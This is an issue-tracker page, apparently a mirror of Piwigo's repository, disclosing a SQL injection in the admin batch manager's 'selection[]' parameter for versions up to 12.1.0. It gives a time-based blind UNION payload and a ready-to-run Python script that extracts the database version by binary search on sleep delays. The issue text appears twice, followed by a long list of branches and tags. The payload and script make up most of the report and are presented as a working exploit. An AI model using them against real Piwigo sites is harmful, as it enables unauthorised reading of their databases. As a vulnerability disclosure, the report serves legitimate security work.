[Version <= 12.1.0]SQL injection #1385

New Issue

Closed

opened 2026-10-05 00:41:53 +02:00 by adam · 0 comments

adam commented 2026-10-05 00:41:53 +02:00

Owner

Copy link

Copy source

I find that there is a sqli in piwigo again ,here are my descriptions;
At first we need to login and then we can Visit the website http://your-url/admin.php
then we need a Key Parameters called pwg_token,there are many ways to get a token
i visit http://your-url/admin.php?page=user_list

when we add a user ,we can easily get pwg_token: 74f8cee948f86969b006037ca229d623

let us start!

first of all，we find that in include/common.inc.php，it uses addslashes to deal with what we input，it may be a bad new if we want to exploit

but in fact

1.We can find a manageable parameter
2.This parameter is not wrapped with symbols such as '," and so on

then we may use it to implement malicious parameter escapes

Fortunately, I found，inadmin/batch_manager_global.php，there is a parameter we can control without using functioncheck_input_parameter ,it means We can control its value arbitrarily

Unfiltered parametersselection is spliced

ok，This parameter is not wrapped with '',""，it just a number，which means its sql may like this

SELECT xxx FROM piwigo_images WHERE id IN (1,2,3)

Since the page is not displayed back,I take the time blind approach

then if i just typeselection[]=1) union select 1,(if((select ascii(SUBSTR(database(),1,1))=116),0,1))%23

i will get sql below，in this payload，if true，just execute sleep(3)，else, do nothing

SELECT xxx FROM piwigo_images WHERE id IN (1) union select 1,(if((select ascii(SUBSTR(version(),sleep(3),1))=116),0,1))#)

To speed up the process, I wrote a script using the dichotomy

You just need to replace the url, cookie, token in it and modify the timeout with the actual
r = requests.post(url, headers=headers, data=data,timeout=0.5)

#Author：Y4tacker
import requests

url = "http://xxx/admin.php?page=batch_manager_global"
token = "74f8cee948f86969b006037ca229d623"
cookie = "UM_distinctid=17d4aa810611b8-0b85fc0d8f86c6-978183a-13c680-17d4aa8106257f; CNZZDATA1280265406=1890594629-1637635066-%7C1637635066; csrf_27ef33=d1fdf26d; pwg_id=eda7pg1hfmnlpdauhsav7e2pf6; pwg_user_manager_view=line; pwg_album_manager_view=tile"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    headers = {
        "Cookie": cookie
    }

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'ascii(substr(version(),{i},1))>{mid}'

        data = {
            "selection[]": f"1) union select 1,(if((select {payload}),sleep(3),1))#",
            "selectAction": "delete_derivatives",
            "submit": "1",
            "del_derivatives_type": "1",
            "del_tags[]": "1",
            "pwg_token": token
        }
        try:
            r = requests.post(url, headers=headers, data=data,timeout=0.5)
            tail = mid
        except:
            head = mid + 1
            pass



    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

finaly just look at there

of course，not only action=delete_derivatives, but also elsewhere, not to be listed here，Only they are similar in principle

I find that there is a sqli in piwigo again ,here are my descriptions; At first we need to login and then we can Visit the website http://your-url/admin.php then we need a Key Parameters called pwg_token,there are many ways to get a token i visit http://your-url/admin.php?page=user_list when we add a user ,we can easily get `pwg_token: 74f8cee948f86969b006037ca229d623`  let us start! first of all，we find that in `include/common.inc.php`，it uses addslashes to deal with what we input，it may be a bad new if we want to exploit  but in fact ``` 1.We can find a manageable parameter 2.This parameter is not wrapped with symbols such as '," and so on ``` then we may use it to implement malicious parameter escapes Fortunately, I found，in`admin/batch_manager_global.php`，there is a parameter we can control without using function`check_input_parameter` ,it means We can control its value arbitrarily  Unfiltered parametersselection is spliced  ok，This parameter is not wrapped with `''`,`""`，it just a number，which means its sql may like this ``` SELECT xxx FROM piwigo_images WHERE id IN (1,2,3) ``` Since the page is not displayed back,I take the time blind approach then if i just type`selection[]=1) union select 1,(if((select ascii(SUBSTR(database(),1,1))=116),0,1))%23` i will get sql below，in this payload，if true，just execute sleep(3)，else, do nothing ``` SELECT xxx FROM piwigo_images WHERE id IN (1) union select 1,(if((select ascii(SUBSTR(version(),sleep(3),1))=116),0,1))#) ``` To speed up the process, I wrote a script using the dichotomy You just need to replace the url, cookie, token in it and modify the timeout with the actual ` r = requests.post(url, headers=headers, data=data,timeout=0.5)` ```python #Author：Y4tacker import requests url = "http://xxx/admin.php?page=batch_manager_global" token = "74f8cee948f86969b006037ca229d623" cookie = "UM_distinctid=17d4aa810611b8-0b85fc0d8f86c6-978183a-13c680-17d4aa8106257f; CNZZDATA1280265406=1890594629-1637635066-%7C1637635066; csrf_27ef33=d1fdf26d; pwg_id=eda7pg1hfmnlpdauhsav7e2pf6; pwg_user_manager_view=line; pwg_album_manager_view=tile" result = '' i = 0 while True: i = i + 1 head = 32 tail = 127 headers = { "Cookie": cookie } while head < tail: mid = (head + tail) >> 1 payload = f'ascii(substr(version(),{i},1))>{mid}' data = { "selection[]": f"1) union select 1,(if((select {payload}),sleep(3),1))#", "selectAction": "delete_derivatives", "submit": "1", "del_derivatives_type": "1", "del_tags[]": "1", "pwg_token": token } try: r = requests.post(url, headers=headers, data=data,timeout=0.5) tail = mid except: head = mid + 1 pass if head != 32: result += chr(head) else: break print(result) ``` finaly just look at there  of course，not only `action=delete_derivatives`, but also elsewhere, not to be listed here，Only they are similar in principle <!-- github-sync-id:1080963953 -->

adam closed this issue 2026-10-05 00:41:53 +02:00

Sign in to join this conversation.

No Branch/Tag Specified

Branches Tags

master

issue-2560-people

translation

16.x

feat/embedding-based-contextual-tagging

issue-2576-search-include-ai-in-search-results

feat/search-ocr-ai

issue-2391-update-menu-design

15.x

detect-container

issue-2386-update-filters-users-activity

issue-2362-add-filters-options-in-admin

issue-2367-imagemagick7

issue-2225-quicksearch-help

14.x

issue-2164-BatchManagerUnitMode-Redesign

13.x

12.x

issue-1657-SVG_Support

issue-1703-historySearchMethod

11.x

2.10

2.9

2.8

2.7

2.5

2.6

2.4

2.3

2.2

2.1

2.0

1.7

1.3

1.6

1.5

1.4

16.4.0

16.3.0

16.2.0

16.1.0

16.0.0

16.0.0RC3

16.0.0RC2

15.7.0

16.0.0RC1

16.0.0beta1

16.0.0beta2

15.6.0

15.5.0

15.4.0

15.3.0

15.2.0

15.1.0

15.0.0

15.0.0beta3

15.0.0beta2

15.0.0beta1

14.5.0

14.4.0

14.3.0

14.2.0

14.1.0

14.0.0

14.0.0RC2

14.0.0RC1

14.0.0beta3

14.0.0beta2

13.8.0

14.0.0beta1

13.7.0

13.6.0

13.5.0

13.4.0

13.3.0

13.2.0

13.1.0

13.0.0

13.0.0RC4

13.0.0RC3

13.0.0RC2

13.0.0RC1

12.3.0

13.0.0beta2

13.0.0beta1

12.2.0

12.1.0

12.0.0

12.0.0RC2

12.0.0RC1

12.0.0beta2

12.0.0beta1

11.5.0

11.4.0

11.3.0

11.2.0

11.1.0

11.0.0

11.0.0beta5

2.11.0beta4

2.11.0beta3

2.11.0beta2

2.11.0beta1

2.10.2

2.10.1

2.10.0

2.10.0RC1

2.10.0beta2

2.10.0beta1

2.9.5

2.9.4

2.9.3

2.9.2

2.9.1

2.9.0

2.9.0RC2

2.9.0RC1

2.9.0beta2

2.8.6

2.8.5

2.8.4

2.9.0beta1

2.8.3

2.8.2

2.8.1

2.8.0

2.8.0RC2

2.8.0RC1

2.7.4

2.7.3

2.6.5

2.5.6

2.5.5

2.6.4

2.7.2

2.7.1

2.7.0

2.7.0RC2

2.7.0RC1

2.7.0beta2

2.6.3

2.7.0beta1

2.6.2

2.5.4

2.6.1

2.6.0

2.6.0RC2

2.6.0RC1

2.6.0beta2

2.5.3

2.5.2

2.6.0beta1

2.5.1

2.5.0

2.5.0RC2

2.4.7

2.5.0RC1

2.4.6

2.5.0beta3

2.5.0beta2

2.5.0beta1

2.4.5

2.4.4

2.4.3

2.4.2

2.4.1

2.4.0

2.3.5

2.4.0RC3

2.3.4

2.4.0RC2

2.4.0RC1

2.3.3

2.4.0beta2

2.4.0beta1

2.3.2

2.3.1

2.3.0

2.3.0RC2

2.3.0RC1

2.2.5

2.3.0beta3

2.2.4

2.3.0beta2

2.2.3

2.2.2

2.3.0beta1

2.2.1

2.2.0

2.2.0RC4

2.2.0RC3

2.2.0RC2

2.1.6

2.2.0RC1

2.1.5

2.1.4

2.1.3

2.1.2

2.1.1

2.1.0

2.0.10

2.1.0RC3

2.1.0RC2

2.1.0RC1

2.0.9

2.0.8

2.0.7

2.0.6

2.0.5

2.0.4

2.0.3

2.0.2

2.0.1

2.0.0

2.0.0RC4

1.7.3

2.0.0RC3

2.0.0RC2

2.0.0RC1

1.7.2

1.7.1

1.7.0

1.7.0RC2

1.7.0RC1

1.6.2

1.6.1

1.6.0

1.6.0RC2

1.6.0RC1

1.5.2

1.5.1

1.5.0

1.5.0RC2

1.5.0RC1

1.4.1

1.4.0

1.4.0RC3

1.4.0RC2

1.3.4

1.4.0RC1

1.3.3

1.3.2

1.3.1

1.3.0

1.3.0RC2

1.3.0RC1

Labels

No items

No labels

Milestone

No items

No Milestone

Projects

Clear projects

No projects

Assignees

Clear assignees

adam (Adam Wojcieszonek)

No Assignees

1 Participants

Notifications

Subscribe

Due Date

No due date set.

Dependencies

No dependencies set.

Reference: adam/Piwigo#1385